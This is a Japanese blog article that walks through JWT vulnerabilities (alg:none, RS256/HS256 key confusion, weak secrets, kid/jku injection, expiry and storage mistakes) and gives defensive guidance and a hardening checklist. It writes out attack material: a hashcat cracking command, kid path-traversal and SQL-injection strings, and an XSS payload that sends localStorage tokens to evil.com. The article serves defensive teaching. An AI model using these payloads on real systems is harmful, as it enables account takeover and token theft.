きっかけは午前3時のアラートだった
水曜日の午前2時47分、スマホが鳴り止まない。監視チャンネルに一行だけ流れてきた。「ステージング環境の管理APIが未認証で呼ばれている」
半分寝ぼけたままログを開くと、登録したばかりの一般ユーザーが自分のJWTの payload で role を user から admin に書き換え、そのまま削除APIを叩いていた。しかもサーバーは 200 OK を返している。
頭が真っ白になった。JWTを使っているのに、なぜ文字列を一つ変えただけで管理者になれるのか。
事後検証で分かったのは、悪いのはJWTではなく、僕らがJWTを銀の弾丸だと思い込んでいたことだった。その後、コードベースのJWT関連を全て洗い出すと背筋が凍った。alg:none のブロック漏れ、秘密鍵は 123456、トークンは localStorage に放置、期限は30日……教科書に載っているアンチパターンのオンパレードだった。
この記事は、あの時に欲しかった解体新書だ。JWTは非常にエレガントな設計だが、エレガントであるがゆえに誤用の許容度が低い。一歩間違えれば、そのまま鍵を渡すことになる。
まず基礎から:JWTとは何か、何ではないのか
最も危険な誤解は「JWTは暗号化されている」という思い込みだ。違う。JWTは JSON Web Token の略で、「このデータは自分が発行したもので、改ざんされていないことをどう証明するか」を解決するもので、「データをどう隠すか」ではない。
通常のJWTはドットで区切られた3つのパートでできている。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
- Header:
{"alg":"HS256","typ":"JWT"}— 「HS256で署名した」という宣言。 - Payload:
{"uid":123,"role":"user"}— 業務データ。Base64Urlでエンコードされているだけで、誰でもデコードできる。 - Signature: 前半2つをHeaderで宣言されたアルゴリズムと鍵で署名し、改ざんを防ぐ。
一言で言えば、JWTは「消印が押されたハガキ」だ。誰でも中身は読めるが、消印が合わなければ改ざんされたことが分かる。ハガキにクレジットカードの暗証番号を書いてはいけない。
だから password や phone をpayloadに入れるのはやめよう。私が見た最悪の例は、ユーザーテーブルの SELECT * 結果をそのままJWTに詰め込み、8KBのトークンが毎リクエスト飛び交い、ゲートウェイが詰まったケースだ。
第一の罠:アルゴリズム混同 — エレガントで致命的
これは2015年から知られる最も有名なJWTのバグで、今でも多くのライブラリが「クライアントから送られてきたalgを信じる」実装になっている。
1. algをnoneに変えたらサーバーが「どうぞ」と通した
none は「署名なし」を意味する正規のアルゴリズムで、署名が不要なユースケースのために存在する。未熟な検証はこうなる。
// やってはいけない例
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // 検証せずに通す
return verify(token, secret);
攻撃は簡単だ。ヘッダーを {"alg":"none"} に、payloadの role を admin に書き換え、署名部分を削除して送るだけで通る。
ステージングで初めて再現した時、手が震えた。文字列一つで管理者になれる。SQLインジェクションより簡単だ。
防御:ホワイトリストで固定する。サーバー側で algorithms: ['HS256'] か ['RS256'] をハードコードし、none は即拒否。最近の jsonwebtoken はデフォルトで none を無効化しているが、自作の検証は今でも引っかかる。
2. RS256 → HS256 のすり替え:公開鍵をHMACの秘密鍵として使う
これは大企業もやられた陰湿な手口だ。
RS256は非対称で秘密鍵で署名し公開鍵で検証、HS256は共通鍵で署名も検証も同じ鍵だ。
バグは、ライブラリが header.alg を見て検証方法を切り替えることにある。攻撃者がRS256トークンのヘッダーを HS256 に変えると、サーバーは「HS256ならHMACで検証しよう」と考え、その「秘密鍵」としてRS256の公開鍵を使う。公開鍵は公開されているので、攻撃者は /.well-known/jwks.json から拾ってきてHS256で署名し直せば通る。
# 攻撃者の手順
1. RS256の公開鍵を取得
2. ヘッダー {"alg":"HS256"} を作成
3. ペイロード {"uid":1,"role":"admin"} を作成
4. 公開鍵の文字列を秘密鍵としてHS256で署名
5. サーバーは同じ公開鍵でHMAC検証 → 成功
研究者のTim McLeanが2015年に公開し、多くのPython/Rubyライブラリが影響を受けた。地味だが致命的だ。
防御:①検証アルゴリズムはサーバー設定で決め、トークン由来のalgは信じない。②RS256の公開鍵とHS256の秘密鍵は別管理し、algorithms: ['RS256'] を明示する。
3. クライアントが変えられるものは信じるな
header.alg は攻撃者が操作できる。 isAdmin=true を信じないのと同じく、algも信じてはいけない。
第二の罠:鍵 — 紙のように薄い
1. 弱い鍵:123456は秘密ではない
hashcat で数秒で割れた鍵は secret、password、123456、jwt_secret。会社略称+年号の acme2023 も大差ない。JWTの署名は決定論的なので、攻撃者はサーバーに触れずにオフラインで総当たりできる。
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
防御:最低32バイトのランダム文字列を openssl rand -hex 32 で生成。弱い鍵でリリースしていたら即ローテーションし、旧トークンを全て無効化する。
2. 鍵の漏洩:フロントエンド、GitHub、ログ
監査で見た漏洩の典型は3つ。
- フロントに埋め込み:
JWT_SECRETがapp.jsにバンドルされ、DevToolsで検索できる。 - GitHub:
.envをコミットし、my_super_secret_123が検索で見つかる。 - ログ: トークン全体をELKに流し、誰でも見られる。トークン漏洩は鍵漏洩と同義だ。
中には検証失敗時に秘密鍵をエラーメッセージに含めて返すフレームワークもある。
防御:鍵は環境変数かKMSのみ。フロントはトークンだけを扱い、秘密は持たない。ログではトークンをマスクする。
3. kid — 忘れられた裏口
ヘッダーの kid(Key ID)は「どの鍵で検証するか」をサーバーに教える。
const kid = header.kid;
const key = getKey(kid);
verify(token, key);
getKey が雑だと、
- パストラバーサル:
kid="../../dev/null"で空ファイルを鍵にする。 - SQLインジェクション:
kid="1' OR '1'='1"をSQLに連結。 - ファイル読み取り:
/keys/${kid}.pemで../../../../etc/passwdを試す。
私は「key not found」のレスポンス時間の差で有効なkidを列挙できたことがある。
防御: kid は英数字とハイフンのみに制限し、マップで解決。パスやSQLに直接連結しない。
4. jkuとx5u — 攻撃者に鍵の置き場を決めさせる
jku(JWK Set URL)と x5u(X509 URL)は「公開鍵はこのURLにある」と教える。サーバーがこれを信じると、攻撃者は自分のサーバーを指し示し、サーバーは攻撃者の鍵を取りに行って検証してしまう。
防御:本番では jku/x5u/x5c を無効化。必要な場合もドメインをホワイトリスト化しHTTPSを強制する。
第三の罠:有効期限、失効、リプレイ — ステートレスの代償
JWTの売りであるステートレスは最大の罠でもある。セッションならサーバー側で削除すれば失効できるが、JWTは一度発行したら期限まで取り消せない小切手だ。パスワード変更、BAN、盗難後も期限まで使われ続ける。
exp を30日や無期限にしている例をよく見る。「UXのためログイン不要に」という理由だが、スマホを落としたら30日間使われ放題だ。
正しい形は「短命+失効可能」:
- 短いaccessToken: 5〜15分、最小限のクレームだけ。
- 回転するrefreshToken: 長めのrefreshTokenをhttpOnly Cookie+DBで管理し、使うたびに旧トークンを無効化。再利用を検知したらそのユーザーの全トークンを失効。
- ブラックリスト: ログアウトやパスワード変更時に
jtiをRedisに入れ、TTLを残り有効期間に設定。検証時にチェックする。ステートフルになるが、必要な妥協だ。 - aud/iss/nbfも検証: 多くの実装が
aud/issを見ず、サービスAのトークンがサービスBで使えてしまう。
jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'auth.mycompany.com',
audience: 'api.mycompany.com',
clockTolerance: 5
});
第四の罠:JWTをどこに置くかで死に方が決まる
| 置き場 | 利点 | 欠点 | 漏洩経路 |
|---|---|---|---|
| localStorage / sessionStorage | フロントから取り出しやすい | JSから読める | XSS一発で全漏洩 |
| メモリ変数 | タブを閉じれば消える | リロードで消える | 比較的安全だがUXが悪い |
| httpOnly + Secure + SameSite Cookie | JSから読めずXSS耐性 | CSRFのリスク | CSRFトークンが必要 |
一番多い失敗は、利便性で localStorage に置き、コメント欄のXSSで <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))> を注入され、全訪問者のトークンを収穫されるパターンだ。
Cookieも万能ではない。自動送信されるため <img src="https://api.mycompany.com/transfer?to=attacker"> でCSRFが成立する。
今の安定パターン: accessTokenはメモリ、refreshTokenは httpOnly + Secure + SameSite=Strict のCookie、CSRFは SameSite と二重防御で。ページリロード時はrefreshTokenで取り直す。そして全サイトHTTPS。そうでなければトークンは平文だ。
第五の罠:検証し忘れたクレーム
署名が有効でも業務的に有効とは限らない。 req.user = decoded の後に、
- exp未検証: ライブラリによってはデフォルトで期限をチェックしない。
- nbf未検証: 「この時刻以前は無効」が無視され、早すぎるトークンが使われる。
- payloadの権限を信頼:
roleやisVipをJWTに入れて信じ切る。JWTにはuidだけ入れ、権限はDBで引くべきだ。 - リプレイ:
jtiの重複排除がなく、盗まれたトークンが何度も再生される。重要操作では使い切りのjtiやjti + ip + uaの紐付けを。
本番で使っているチェックリスト
- アルゴリズムはホワイトリスト:
algorithms: ['RS256']をハードコード。headerのalgは読まない。none/jku/x5uは禁止。 - 鍵は強く、回転可能に: HS256は32バイト以上の乱数、RS256は2048ビット以上。KMSや環境変数で管理し、kidでローテーション、旧鍵は7日間保持。
- 短命+回転: access 10分、refresh 7日+ローテーション+ブラックリスト。ログアウト/パスワード変更/BANでブラックリスト入り。
- 最小payload:
uid、jti、exp、iatのみ。機微情報は入れない。必要ならJWEで暗号化。 - 厳格な検証: iss/aud/exp/nbf/jtiを全て検証。認可はJWTを信じずサーバーで問い合わせる。
- 保存: refreshはhttpOnly Cookie、accessはメモリ。ログはマスク、HTTPS必須、CSPでXSS対策。
- 可観測性: jtiの発行/更新/失効を追跡し、再利用をアラートする。
一言で:JWTは使い捨ての通行証として扱い、永久身分証として扱うな。
最後に:JWTは悪くない、盲信が悪い
JWTの設計は抑制が効いている。3パート、Base64Url、選択可能なアルゴリズム、標準クレーム。その「不安全」のほぼ全ては実装の怠慢だ。楽をしたいがためのalg信頼、利便性のための弱い鍵、UXのための長期期限、速さのための権限詰め込み。
包丁と同じだ。包丁自体は危険ではないが、目をつぶって振り回せば手を切る。
もし今JWTを使っているなら、今夜コードをgrepしてみてほしい。verify(token, secret) で algorithms を指定していない箇所はないか。秘密鍵が平文で config.js に寝ていないか。有効期限が「日」単位になっていないか。一つ直せば、午前3時のアラートが一つ減る。
侵害されてから思い出すのでは遅い。
